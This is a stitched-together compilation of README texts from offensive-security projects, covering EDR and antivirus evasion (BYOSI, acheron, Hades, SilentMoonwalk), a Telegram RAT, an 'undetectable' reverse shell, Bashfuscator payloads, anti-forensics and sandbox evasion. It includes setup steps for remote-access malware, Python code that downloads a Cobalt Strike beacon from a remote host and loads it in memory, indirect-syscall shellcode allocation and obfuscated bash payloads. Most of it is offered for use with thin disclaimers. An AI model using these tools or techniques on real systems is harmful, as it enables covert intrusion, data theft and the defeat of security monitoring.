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Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
FreshRSS 1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.
BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.
Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.
Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.
If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.
Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.
The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.
https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4
Little AV/EDR Evasion Lab for training & learning purposes. (οοΈ under construction..)β
____ _ _____ ____ ____ ___ __ _____ _
| __ ) ___ ___| |_ | ____| _ \| _ \ / _ \ / _| |_ _| |__ ___
| _ \ / _ \/ __| __| | _| | | | | |_) | | | | | |_ | | | '_ \ / _ \
| |_) | __/\__ \ |_ | |___| |_| | _ < | |_| | _| | | | | | | __/
|____/_\___||___/\__| |_____|____/|_| \_\ \___/|_| |_| |_| |_|\___|
| \/ | __ _ _ __| | _____| |_
| |\/| |/ _` | '__| |/ / _ \ __|
| | | | (_| | | | < __/ |_ Yazidou - github.com/Xacone
|_| |_|\__,_|_| |_|\_\___|\__|
BestEDROfTheMarket is a naive user-mode EDR (Endpoint Detection and Response) project, designed to serve as a testing ground for understanding and bypassing EDR's user-mode detection methods that are frequently used by these security solutions.
These techniques are mainly based on a dynamic analysis of the target process state (memory, API calls, etc.),
Feel free to check this short article I wrote that describe the interception and analysis methods implemented by the EDR.
In progress:
Usage: BestEdrOfTheMarket.exe [args]
/help Shows this help message and quit
/v Verbosity
/iat IAT hooking
/stack Threads call stack monitoring
/nt Inline Nt-level hooking
/k32 Inline Kernel32/Kernelbase hooking
/ssn SSN crushing
BestEdrOfTheMarket.exe /stack /v /k32
BestEdrOfTheMarket.exe /stack /nt
BestEdrOfTheMarket.exe /iat
1. git clone https://github.com/machine1337/TelegramRAT.git
2. Now Follow the instructions in HOW TO USE Section.
1. Go to Telegram and search for https://t.me/BotFather
2. Create Bot and get the API_TOKEN
3. Now search for https://t.me/chatIDrobot and get the chat_id
4. Now Go to client.py and go to line 16 and 17 and place API_TOKEN and chat_id there
5. Now run python client.py For Windows and python3 client.py For Linux
6. Now Go to the bot which u created and send command in message field
HELP MENU: Coded By Machine1337
CMD Commands | Execute cmd commands directly in bot
cd .. | Change the current directory
cd foldername | Change to current folder
download filename | Download File From Target
screenshot | Capture Screenshot
info | Get System Info
location | Get Target Location
1. Execute Shell Commands in bot directly.
2. download file from client.
3. Get Client System Information.
4. Get Client Location Information.
5. Capture Screenshot
6. More features will be added
Coded By: Machine1337
Contact: https://t.me/R0ot1337
python3 based multi clients reverse shell.
1. Don't Upload Any Payloads To VirusTotal.com Bcz This tool will not work
with Time.
2. Virustotal Share Signatures With AV Comapnies.
3. Again Don't be an Idiot!
1. git clone https://github.com/machine1337/pyFUD
2. python3 server.py (enter your ip,port and start the server)
3. client.py (Edit IP AND PORT To Put Your Own IP,Port)
1. python3 server.py
2. Now Compile client.py to exe (make sure change ip and port in it)
1. Very Simple And Fully Undectable Reverse Shell
2. Multi Client Handling
3. Persistent Shell
3. auto-reconnect
5. U can Convert client.py to exe using pyinstaller tool in windows.
Use this tool Only for Educational Purpose And I will Not be Responsible For ur cruel act.
Bashfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. It accomplishes this by generating convoluted, randomized Bash code that at runtime evaluates to the original input and executes it. Bashfuscator makes generating highly obfuscated Bash commands and scripts easy, both from the command line and as a Python library.
The purpose of this project is to give Red Team the ability to bypass static detections on a Linux system, and the knowledge and tools to write better Bash obfuscation techniques.
This framework was also developed with Blue Team in mind. With this framework, Blue Team can easily generate thousands of unique obfuscated scripts or commands to help create and test detections of Bash obfuscation.
This is a list of all the media (i.e. youtube videos) or links to slides about Bashfuscator.
Though Bashfuscator does work on UNIX systems, many of the payloads it generates will not. This is because most UNIX systems use BSD style utilities, and Bashfuscator was built to work with GNU style utilities. In the future BSD payload support may be added, but for now payloads generated with Bashfuscator should work on GNU Linux systems with Bash 4.0 or newer.
Bashfuscator requires Python 3.6+.
On a Debian-based distro, run this command to install dependencies:
sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip
On a RHEL-based distro, run this command to install dependencies:
sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip
Then, run these commands to clone and install Bashfuscator:
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install --userOnly Debian and RHEL based distros are supported. Bashfuscator has been tested working on some UNIX systems, but is not supported on those systems.
For simple usage, just pass the command you want to obfuscate with -c, or the script you want to obfuscate with -f.
$ bashfuscator -c "cat /etc/passwd"
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${@/l+Jau/+<b=k } p''"r"i""n$'t\u0066' %s "$( ${*%%Frf\[4?T2 } ${*##0\!j.G } "r"'e'v <<< ' "} ~@{$" ") } j@C`\7=-k#*{$ "} ,@{$" ; } ; } ,,*{$ "}] } ,*{$ "} f9deh`\>6/J-F{\,vy//@{$" niOrw$ } QhwV#@{$ [NMpHySZ{$" s% "f"'"'"'4700u\n9600u\r'"'"'$p { ; } ~*{$ "} 48T`\PJc}\#@{$" 1#31 "} ,@{$" } D$y?U%%*{$ 0#84 *$ } Lv:sjb/@{$ 2#05 } ~@{$ 2#4 }*!{$ } OGdx7=um/X@RA{\eA/*{$ 1001#2 } Scnw:i/@{$ } ~~*{$ 11#4 "} O#uG{\HB%@{$" 11#7 "} ^^@{$" 011#2 "} ~~@{$" 11#3 } L[\h3m/@{$ "} ~@{$" 11#2 } 6u1N.b!\b%%*{$ } YCMI##@{$ 31#5 "} ,@{$" 01#7 } (\}\;]\//*{$ } %#6j/?pg%m/*{$ 001#2 "} 6IW]\p*n%@{$" } ^^@{$ 21#7 } !\=jy#@{$ } tz}\k{\v1/?o:Sn@V/*{$ 11#5 ni niOrw rof ; "} ,,@{$" } MD`\!\]\P%%*{$ ) }@{$ a } ogt=y%*{$ "@$" /\ } {\nZ2^##*{$ \ *$ c }@{$ } h;|Yeen{\/.8oAl-RY//@{$ p *$ "}@{$" t } zB(\R//*{$ } mX=XAFz_/9QKu//*{$ e *$ s } ~~*{$ d } ,*{$ } 2tgh%X-/L=a_r#f{\//*{$ w } {\L8h=@*##@{$ "} W9Zw##@{$" (=NMpHySZ ($" la'"'"''"'"'"v"'"'"''"'"''"'"'541\'"'"'$ } &;@0#*{$ ' "${@}" "${@%%Ij\[N }" ${@~~ } )" ${!*} | $@ $'b\u0061'''sh ${*//J7\{=.QH }
[+] Payload size: 1232 charactersYou can copy the obfuscated payload to your clipboard with --clip, or write it to a file with -o.
For more advanced usage, use the --choose-mutators flag, and specify exactly what obfuscation modules, or Mutators, you want to use in what order. Use also the -s argument to control the level of obfuscation used.
bashfuscator -c "cat /etc/passwd" --choose-mutators token/special_char_only compress/bzip2 string/file_glob -s 1
[+] Payload:
"${@#b }" "e"$'\166'"a""${@}"l "$( ${!@}m''$'k\144'''ir -p '/tmp/wW'${*~~} ;$'\x70'"${@/AZ }"rin""tf %s 'MxJDa0zkXG4CsclDKLmg9KW6vgcLDaMiJNkavKPNMxU0SJqlJfz5uqG4rOSimWr2A7L5pyqLPp5kGQZRdUE3xZNxAD4EN7HHDb44XmRpN2rHjdwxjotov9teuE8dAGxUAL'> '/tmp/wW/?
??'; prin${@#K. }tf %s 'wYg0iUjRoaGhoNMgYgAJNKSp+lMGkx6pgCGRhDDRGMNDTQA0ABoAAZDQIkhCkyPNIm1DTQeppjRDTTQ8D9oqA/1A9DjGhOu1W7/t4J4Tt4fE5+isX29eKzeMb8pJsPya93' > '/tmp/wW/???
' "${@,, }" &&${*}pri''\n${*,}tf %s 'RELKWCoKqqFP5VElVS5qmdRJQelAziQTBBM99bliyhIQN8VyrjiIrkd2LFQIrwLY2E9ZmiSYqay6JNmzeWAklyhFuph1mXQry8maqHmtSAKnNr17wQlIXl/ioKq4hMlx76' >'/tmp/wW/??
';"${@, }" $'\x70'rintf %s 'clDkczJBNsB1gAOsW2tAFoIhpWtL3K/n68vYs4Pt+tD6+2X4FILnaFw4xaWlbbaJBKjbGLouOj30tcP4cQ6vVTp0H697aeleLe4ebnG95jynuNZvbd1qiTBDwAPVLT tCLx' >'/tmp/wW/?
?' ; ${*/~} p""${@##vl }ri""n''tf %s ' pr'"'"'i'"'"'$'"'"'n\x74'"'"'f %s "$( prin${*//N/H }tf '"'"'QlpoOTFBWSZTWVyUng4AA3R/gH7z/+Bd/4AfwAAAD8AAAA9QA/7rm7NzircbE1wlCTBEamT1PKekxqYIA9TNQ' >'/tmp/wW/????' "${@%\` }" ;p''r""i$'\x6e'''$'\164'"f" %s 'puxuZjSK09iokSwsERuYmYxzhEOARc1UjcKZy3zsiCqG5AdYHeQACRPKqVPIqkxaQnt/RMmoLKqCiypS0FLaFtirJFqQtbJLUVFoB/qUmEWVKxVFBYjHZcIAYlVRbkgWjh' >'/tmp/wW/?
' ${*};"p"rin''$'\x74f' %s 'Gs02t3sw+yFjnPjcXLJSI5XTnNzNMjJnSm0ChZQfSiFbxj6xzTfngZC4YbPvaCS3jMXvYinGLUWVfmuXtJXX3dpu379mvDn917Pg7PaoCJm2877OGzLn0y3FtndddpDohg'>'/tmp/wW/?
?
' && "${@^^ }" pr""intf %s 'Q+kXS+VgQ9OklAYb+q+GYQQzi4xQDlAGRJBCQbaTSi1cpkRmZlhSkDjcknJUADEBeXJAIFIyESJmDEwQExXjV4+vkDaHY/iGnNFBTYfo7kDJIucUES5mATqrAJ/KIyv1UV'> '/tmp/wW/
???' ${*^}; ${!@} "${@%%I }"pri""n$'\x74f' %s '1w6xQDwURXSpvdUvYXckU4UJBclJ4OA'"'"' |""b${*/t/\( }a\se$'"'"'6\x34'"'"' -d| bu${*/\]%}nzi'"'"'p'"'"'${!@}2 -c)" $@ |$ {@//Y^ } \ba\s"h" ' > '/tmp/wW/
??
' ${@%b } ; pr"i"\ntf %s 'g8oZ91rJxesUWCIaWikkYQDim3Zw341vrli0kuGMuiZ2Q5IkkgyAAJFzgqiRWXergULhLMNTjchAQSXpRWQUgklCEQLxOyAMq71cGgKMzrWWKlrlllq1SXFNRqsRBZsKUE' > '/tmp/wW/??
?'"${@//Y }" ;$'c\141t' '/tmp/wW'/???? ${*/m};"${@,, }" $'\162'\m '/tmp/wW'/???? &&${@^ }rmd\ir '/tmp/wW'; ${@^^ } )" "${@}"
[+] Payload size: 2062 charactersFor more detailed usage and examples, please refer to the documentation.
Adding new obfuscation methods to the framework is simple, as Bashfuscator was built to be a modular and extendable framework. Bashfuscator's backend does all the heavy lifting so you can focus on writing robust obfuscation methods (documentation on adding modules coming soon).
Bashfuscator was created for educational purposes only, use only on computers or networks you have explicit permission to do so. The Bashfuscator team is not responsible for any illegal or malicious acts preformed with this project.
Handle hijacking is a technique used in Windows operating systems to gain access to resources and resources of a system without permission. It is a type of privilege escalation attack in which a malicious user takes control of an object handle, which is an identifier that is used to reference a system object, such as a file, a directory, a process, or an event. This allows the malicious user to gain access to resources that should be inaccessible to them.
Handle hijacking is a serious threat to system security as it allows a malicious user to access resources and data that should otherwise be protected. It can also be used to inject code into a vulnerable system, allowing the attacker to gain access to information and resources.
Handle hijacking techniques are becoming increasingly prevalent as hackers develop more sophisticated methods of exploiting vulnerabilities in Windows systems. As such, it is important that system administrators understand the risks associated with handle hijacking and take proactive measures to protect their systems.
To perform a handle hijacking attack, an attacker must first identify a handle that is being used by a legitimate process and that they want to access. This can be done using various techniques, such as scanning the handle table of a process, monitoring handle creation events, or using a tool that can enumerate handles on the system ,Once the attacker has identified the handle they want to access, they can use the DuplicateHandle function to create a copy of the handle with their own process. This function takes the following parameters:
hSourceProcessHandle: A handle to the process that contains the source handle.hSourceHandle: A handle to the object to duplicate.hTargetProcessHandle: A handle to the process that is to receive the duplicated handle.lpTargetHandle: A pointer to a variable that receives the handle value.dwDesiredAccess: The access rights for the duplicated handle.bInheritHandle: A value that specifies whether the handle is inheritable.dwOptions: Additional options for the handle duplication.The DuplicateHandle function will create a new handle with the specified access rights and options, and return it in the lpTargetHandle parameter. The attacker can then use this handle to access the resource that it represents, allowing them to perform actions on the resource that they would not normally be able to do.
Anti Forensics Tool For Red Teamers, Used For Erasing Some Footprints In The Post Exploitation Phase.
Reduces Payload Burnout And Increases Detection Countdown. Can Be Used To Test The capabilities of Your Incident Response / Forensics Teams.
Added:
USNJRnl Execution On All Disk Drives.
Unallocated Space ReWriting.
A Bit of Polishing.
https://github.com/Naranbataar/Corrupt
https://github.com/LloydLabs/delete-self-poc
https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c
https://stackoverflow.com/users/15168/jonathan-leffler
https://github.com/GiovanniDicanio/WinReg
Sandboxes are commonly used to analyze malware. They provide a temporary, isolated, and secure environment in which to observe whether a suspicious file exhibits any malicious behavior. However, malware developers have also developed methods to evade sandboxes and analysis environments. One such method is to perform checks to determine whether the machine the malware is being executed on is being operated by a real user. One such check is the RAM size. If the RAM size is unrealistically small (e.g., 1GB), it may indicate that the machine is a sandbox. If the malware detects a sandbox, it will not execute its true malicious behavior and may appear to be a benign file
The GetPhysicallyInstalledSystemMemory API retrieves the amount of RAM that is physically installed on the computer from the SMBIOS firmware tables. It takes a PULONGLONG parameter and returns TRUE if the function succeeds, setting the TotalMemoryInKilobytes to a nonzero value. If the function fails, it returns FALSE.
The amount of physical memory retrieved by the GetPhysicallyInstalledSystemMemory function must be equal to or greater than the amount reported by the GlobalMemoryStatusEx function; if it is less, the SMBIOS data is malformed and the function fails with ERROR_INVALID_DATA, Malformed SMBIOS data may indicate a problem with the user's computer .
The register rcx holds the parameter TotalMemoryInKilobytes. To overwrite the jump address of GetPhysicallyInstalledSystemMemory, I use the following opcodes: mov qword ptr ss:[rcx],4193B840. This moves the value 4193B840 (or 1.1 TB) to rcx. Then, the ret instruction is used to pop the return address off the stack and jump to it, Therefore, whenever GetPhysicallyInstalledSystemMemory is called, it will set rcx to the custom value."
"Python memory module" AI generated pic - hotpot.ai
pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory
PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.
The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.
In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.
Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.
Acheron is a library inspired by SysWhisper3/FreshyCalls/RecycledGate, with most of the functionality implemented in Go assembly.
acheron package can be used to add indirect syscall capabilities to your Golang tradecraft, to bypass AV/EDRs that makes use of usermode hooks and instrumentation callbacks to detect anomalous syscalls that don't return to ntdll.dll, when the call transition back from kernel->userland.
The following steps are performed when creating a new syscall proxy instance:
Zw* functionsyscall;ret gadgets in ntdll.dll, to be used as trampolinesIntegrating acheron into your offsec tools is pretty easy. You can install the package with:
go get -u github.com/f1zm0/acheronThen just need to call acheron.New() to create a syscall proxy instance and use acheron.Syscall() to make an indirect syscall for Nt* APIs.
Minimal example:
package main
import (
"fmt"
"unsafe"
"github.com/f1zm0/acheron"
)
func main() {
var (
baseAddr uintptr
hSelf = uintptr(0xffffffffffffffff)
)
// creates Acheron instance, resolves SSNs, collects clean trampolines in ntdll.dlll, etc.
ach, err := acheron.New()
if err != nil {
panic(err)
}
// indirect syscall for NtAllocateVirtualMemory
s1 := ach.HashString("NtAllocateVirtualMemory")
if retcode, err := ach.Syscall(
s1, // function name hash
hSelf, // arg1: _In_ HANDLE ProcessHandle,
uintptr(unsafe.Pointer(&baseAddr)), // arg2: _Inout_ PVOID *BaseAddress,
uintptr(unsafe.Pointer(nil)), // arg3: _In_ ULONG_PTR ZeroBits,
0x1000, // arg4: _Inout_ PSIZE_T RegionSize,
windows.MEM_COMMIT|windows.MEM_RESERVE, // arg5: _In_ ULONG AllocationType,
windows.PAGE_EXECUTE_READWRITE, // arg6: _In_ ULONG Protect
); err != nil {
panic(err)
}
fmt.Printf(
"allocated memory with NtAllocateVirtualMemory (status: 0x%x)\n",
retcode,
)
// ...
}The following examples are included in the repository:
| Example | Description |
|---|---|
| sc_inject | Extremely simple process injection PoC, with support for both direct and indirect syscalls |
| process_snapshot | Using indirect syscalls to take process snapshots with syscalls |
| custom_hashfunc | Example of custom encoding/hashing function that can be used with acheron |
Other projects that use acheron:
Contributions are welcome! Below are some of the things that it would be nice to have in the future:
If you have any suggestions or ideas, feel free to open an issue or a PR.
The name is a reference to the Acheron river in Greek mythology, which is the river where souls of the dead are carried to the underworld.
Note
This project uses semantic versioning. Minor and patch releases should not break compatibility with previous versions. Major releases will only be used for major changes that break compatibility with previous versions.
Warning
This project has been created for educational purposes only. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper usage of the library.
This project is licensed under the MIT License - see the LICENSE file for details
Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs.
The easiest way, is probably building the project on Linux using make.
git clone https://github.com/f1zm0/hades && cd hades
makeThen you can bring the executable to a x64 Windows host and run it with .\hades.exe [options].
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Usage:
hades -f <filepath> [-t selfthread|remotethread|queueuserapc]
Options:
-f, --file <str> shellcode file path (.bin)
-t, --technique <str> injection technique [selfthread, remotethread, queueuserapc]
Inject shellcode that spawms calc.exe with queueuserapc technique:
.\hades.exe -f calc.bin -t queueuserapc
User-mode hooking bypass with syscall RVA sorting (NtQueueApcThread hooked with frida-trace and custom handler)
Instrumentation callback bypass with indirect syscalls (injected DLL is from syscall-detect by jackullrich)
In the latest release, direct syscall capabilities have been replaced by indirect syscalls provided by acheron. If for some reason you want to use the previous version of the loader that used direct syscalls, you need to explicitly pass the direct_syscalls tag to the compiler, which will figure out what files needs to be included and excluded from the build.
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
Warning
This project has been created for educational purposes only, to experiment with malware dev in Go, and learn more about the unsafe package and the weird Go Assembly syntax. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper use of this tool.
Shoutout to the following people that shared their knowledge and code that inspired this tool:
This project is licensed under the GPLv3 License - see the LICENSE file for details
PoC Implementation of a fully dynamic call stack spoofer
SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.
This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:
I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.
This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.
This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.
This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.
The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".
When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.
A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:
The result of the _synthetic spoof can be observed in the image below:
Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)
Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1
This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.
Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)
In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.
UnwindInspector.exe -h
Unwind Inspector v0.100000
Mandatory args:
-m <module>: Target DLL
-f <function>: Target Function
-a <function-address>: Target Function Address
Sample Output:
UnwindInspector.exe -m kernelbase -a 0x7FFAAE12182C
[*] Using function address 0x7ffaae12182c
Runtime Function (0x000000000000182C, 0x00000000000019ED)
Unwind Info Address: 0x000000000026AA88
Version: 0
Ver + Flags: 00000000
SizeOfProlog: 0x1f
CountOfCodes: 0xc
FrameRegister: 0x0
FrameOffset: 0x0
UnwindCodes:
[00h] Frame: 0x741f - 0x04 - UWOP_SAVE_NONVOL (RDI, 0x001f)
[01h] Frame: 0x0015 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0015)
[02h] Frame: 0x641f - 0x04 - UWOP_SAVE_NONVOL (RSI, 0x001f)
[03h] Frame: 0x0014 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0014)
[04h] Frame: 0x341f - 0x04 - UWOP_SAVE_NONVOL (RBX, 0x001f)
[05h] Frame: 0x0012 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0012)
[06h] Frame: 0xb21f - 0x02 - UWOP_ALLOC_SMALL (R11, 0x001f)
[07h] Frame: 0xf018 - 0x00 - UWOP_PUSH_NONVOL (R15, 0x0018)
[0 8h] Frame: 0xe016 - 0x00 - UWOP_PUSH_NONVOL (R14, 0x0016)
[09h] Frame: 0xd014 - 0x00 - UWOP_PUSH_NONVOL (R13, 0x0014)
[0ah] Frame: 0xc012 - 0x00 - UWOP_PUSH_NONVOL (R12, 0x0012)
[0bh] Frame: 0x5010 - 0x00 - UWOP_PUSH_NONVOL (RBP, 0x0010)
In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:
/GS-)/Od)/GL)/Os, /Ot)/Oi)It's worth mentioning previous work done on this topic, which built the foundation of this work.
